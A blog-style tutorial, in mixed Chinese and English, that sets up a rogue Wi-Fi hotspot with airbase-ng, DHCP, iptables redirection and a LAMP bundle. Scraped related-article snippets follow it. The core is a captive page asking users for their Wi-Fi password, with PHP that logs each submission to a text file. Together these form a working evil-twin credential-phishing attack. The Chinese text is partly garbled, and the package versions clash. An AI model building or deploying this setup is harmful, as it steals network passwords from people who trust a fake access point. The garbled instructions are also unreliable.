A charge WIFI point base on airbase-ng+dhcp+lamp+wiwiz

Make wifi as a hot point

Make a script

echo $0 $1
case $1 in
     "start")
       sleep 1
       ifconfig wlan0 down
       sleep 1
       iwconfig wlan0 mode monitor
       sleep 1
       ifconfig wlan0 up
       sleep 2
       airmon-ng start wlan0
       sleep 1
       airbase-ng -e 888888 -c 11 wlan0
       sleep 1
    ;;
    "atup")
       sleep 1
       ifconfig at0 192.168.2.1 netmask 255.255.255.0
       sleep 1
       ifconfig at0 up
       sleep 1
       route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1
       sleep 1
#       echo "1" >/proc/sys/net/ipv4/ip_forward
       sysctl -w net.ipv4.ip_forward=1
       sleep 2
       dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
       sleep 2
       service isc-dhcp-server restart
       sleep 1
    ;;
    "startnat")
       sleep 1
       iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
       sleep 1
       iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
       sleep 1
       iptables -A FORWARD -p tcp --syn -s 192.168.2.0/24 -j TCPMSS --set-mss 1356
       iptables -t nat -A PREROUTING -p tcp -m multiport --dport 80,8080 -j DNAT --to 192.168.2.1:80
    ;;
    *)
       echo "usage $0 {start|atup|startnat}"
    ;;
esac

Start wifi as a hot point

sudo ./cr_wifi start
sudo ./cr_wifi atup

Deploy wiwiz

sudo cd /
sudo wget http://dl.wiwiz.com/hsbuilder-util-latest.tar.gz
sudo tar -zxf hsbuilder-util-latest.tar.gz
sudo /usr/local/hsbuilder/hsbuilder_setup.sh setup

然后依据各步提示完毕设置。下面是各步提示的说明:
“please select External NIC (typically the one going out to the Inernet):”– 此步请选择接入到Internet的网络接口。

“please select Internal NIC (typically your wifi interface):”– 此步请选择接入到局域网/无线局域网的网络接口。
“please input Hotspot ID:” — 此步请输入你在Wiwiz Web面板中创建的热点的Hotspot ID(不是热点的名称,也不是你的无线网络的SSID)。
“please input User Name:” — 此步请输入你的Wiwiz注冊username。
“please input Server Address and Port:” — 此步请保持默认值。
“Do you want DHCP service to be configured? If you select No to skip it, you need to configure DHCP service manually later.” — 此步请选择是否让Wiwiz HotSpot Builder Utility自己主动配置DHCP服务。

假设选择是,请继续下面的步骤。
“DHCP Setting: please input Network IP:” — 此步请输入你的局域网/无线局域网的网络IP。比如:192.168.1.0代表的是192.168.1.xxx网段。

“DHCP Setting: please input NET MASK:” — 此步请输入你的局域网/无线局域网的掩码。
“DHCP Setting: please input IP of Gateway (it should be the IP of this machine):” — 此步请输入今后的局域网/无线局域网的网关地址,即这台计算机的Internal NIC的IP地址(一般保留默认值就可以)。

“DHCP Setting: please input DNS:” — 此步请输入DNS地址。默认值为程序自己主动检測到的DNS地址。也能够指定其它可用的DNS地址。推荐指定ISP提供的DNS地址。

“DHCP Setting: please input IP Range of this Network:” — 此步请输入DHCP地址分配范围。

一般保留默认值就可以。
最后,假设没有报错信息并看到“HSBuilder Setup Completed!”的提示文字,那么安装已经完毕了。

Deploy LAMP

Install LAMP

sudo wget http://dl.cnezsoft.com/zentao/8.0.1/ZenTaoPMS.8.0.1.zbox_32.tar.gz
sudo tar zxvf  ZenTaoPMS.7.3.stable.zbox_32.tar.gz  -C /opt/

1、运行/opt/zbox/zbox start 命令开启Apache和Mysql。
   运行/opt/zbox/zbox stop 命令停止Apache和Mysql。
   运行/opt/zbox/zbox restart 命令重新启动Apache和Mysql。

能够使用/opt/zbox/zbox -h命令来获取关于zbox命令的帮助
   当中 -ap參数 能够改动Apache的port,-mp參数 能够改动Mysql的port
2、浏览器訪问 http://ip:port
3、数据库的username:root。密码为空。数据库管理用的是adminer,可是为了安全,訪问adminer的时候须要身份验证,须要运行/opt/zbox/auth/adduser.sh来加入用户(先 cd /opt/zbox/auth/ 然后运行 ./adduser.sh)。

3、网页訪问禅道,PV数据库管理有2层验证:
1)弹窗验证是输入运行 addusers.sh加入的帐号和密码。
2)网页直接显示登录界面:服务器:127.0.0.1:mysqlport  帐号 root  数据库填写zentao

Put an authorize page

Add a post

<form action="reconnect.php" method="post">
    WIFI密码: &nbsp;&nbsp;
    <input type="password" name="wfphshr-wpa-password">
    <input id="btnSubmit" type="submit" value="提交">
</form>

Add a action

<?php
date_default_timezone_set("Asia/Hong_Kong");
$datetime = strtotime(date("Y-m-d H:i:s"));
$myfile = fopen("./upload/passwd.txt", "ab") or die("Unable to open file!");
$txt = $_POST["wfphshr-wpa-password"];
fwrite($myfile, date("Y-m-d H:i:s"));
fwrite($myfile, " ");
fwrite($myfile, $txt);
fwrite($myfile, "\r\n");
fclose($myfile);
?

>

Put the page to /opt/zbox/app/htdocs

Work together

Register a wiwiz account

Redirect the size to authorize page http://192.168.2.1

时间: 2024-08-03 07:07:58

A charge WIFI point base on airbase-ng+dhcp+lamp+wiwiz的相关文章

android 5.1 WIFI图标上的感叹号及其解决办法

转自: http://blog.csdn.net/w6980112/article/details/45843129 第一次调试android5.1的 WIFI更改小功能 Wifi 源码的相关路径目录 packages/apps/Settings/src/com/Android/settings/wifi/ frameworks/base/wifi/java/android/net/wifi/ frameworks/base/services/core/java/com/android/serv

[quote] Porting WiFi drivers to Android

From http://blog.linuxconsulting.ro/2010/04/porting-wifi-drivers-to-android.html Porting WiFi drivers to Android by Nicu Pavel on 11 August 2010 Update(19/05/2011): Verify validity against Gingerbread.Update (11/08/2010): Updated patch to fix the loa

S3c6410 平台 Android系统的Wi-Fi调试记录

硬件平台:S3c6410 操作系统:Android 网卡芯片:GH381(SDIO接口 sdio8688) 1.SDIO驱动 因为是SDIO接口,所以请先保证mmc驱动(代码在“kernel\drivers\mmc”)部分能够正常工作,这个一般调试flash的时候会涉及到,问题不大,因为S3c6410平台的HSMMC有3个,要根据硬件原理图确认网卡的SDIO接口接在哪个上面了,我调试的时候是HSMMC1,针对HSMMC1涉及到的修改有 ① "kernel\arch\arm\configs\smd

在orangepi-PC, ubuntu trusy mini下使用usb wifi(rtl8188cu/rtl8192cu)

orangepi-PC + ubuntu 14.04本身支持firmware的读取,之所以会无法加载rtl8192cu的firmware是因为orangepi-PC的ubuntu 14.04(trusty) 没有提供firmware 我们需要做的只是从其他地方拷贝firmware到orangepi的/lib/firmware中即可,我是从笔记本上跑的ubuntu中拷贝的firmware 当网卡加载后,因为没有界面,所以我们需要用命令行配置网卡,我使用的方法如下: 1. 更改/etc/networ

研究android系统架构层次

     如借用其它人员研究的wifi层次,对比android 下载后的源码.可看到android一层一层的架构层次是怎么样的. 并了解一个android系统是怎么跑起来的.     所以平时我的的android开发大部分是在java应用层,一些深层次点的就是ndk编码,会通过进行ndk编码.如proxydroid. 他的代理功能其实就是用到了ndk,通过jndi接口,调用到一个c++层,然后c++层次可以用到一些c++的类库,会fork一个后台进程 去进行iptable的代理. 如执行下述命令

python ==》 网络编程

 一.服务端和客户端 BS架构 (腾讯通软件:server+client) CS架构 (web网站) C/S架构与socket的关系: 我们学习socket就是为了完成C/S架构的开发 二.OSI七层模型 互联网协议按照功能不同分为osi七层或tcp/ip五层或tcp/ip四层 学习socket一定要先学习互联网协议: 1.首先:本节课程的目标就是教会你如何基于socket编程,来开发一款自己的C/S架构软件 2.其次:C/S架构的软件(软件属于应用层)是基于网络进行通信的 3.然后:网络的核心

suse-zypper常用命令大全及软件仓库配置

博文说明[前言]: 本文将通过个人口吻详细的介绍在SUSE系统下的zypper相关配置命令,如想快速实现软件仓库的配置,可以直接拉到文章末尾第二部分,我将配置命令挑出来进行了总结. 在目前时间点[2017年6月9号]下,所掌握的技术水平有限,可能会存在不少知识理解不够深入或全面,望大家指出问题共同交流,在后续工作及学习中如发现本文内容与实际情况有所偏差,将会完善该博文内容. 参考文献及技术网站链接:1.https://en.opensuse.org/SDB:Zypper_usage suse的官

使用SaltStack搭建一套LAMP服务器

使用SaltStack部署LAMP架构 步骤: (1)安装软件包 pkg (2)修改配置文件 file (3)启动服务 service (1)pkg模块学习 https://www.unixhot.com/docs/saltstack/ref/states/all/salt.states.pkg.html#module-salt.states.pkg 注意:一个ID声明下面,状态模块不能重复使用 pkg.installed  #安装 pkg.latest     #确保最新版本 pkg.remo

智能小车25:openwrt的网络配置

先看一下如何用上级路由器来访问我们的openwrt.之前老配错,错了就成了板砖,不敢配了.今天买了个openwrt,好好学习了下,实现了几十次,排除了路由器不稳定等情况,终于实验和学习到了正确的配置. 1.刷好的openwrt路由器一般都有一个桥接了lan和wan的一个接口,有默认的无线连接master.这样我们才可能通过无线来访问到这个路由器.如下图: 原来这个ip是192.168.1.251,我们先把它改成192.168.2.251,注意一定要同时改网关为192.168.2.251,不然就连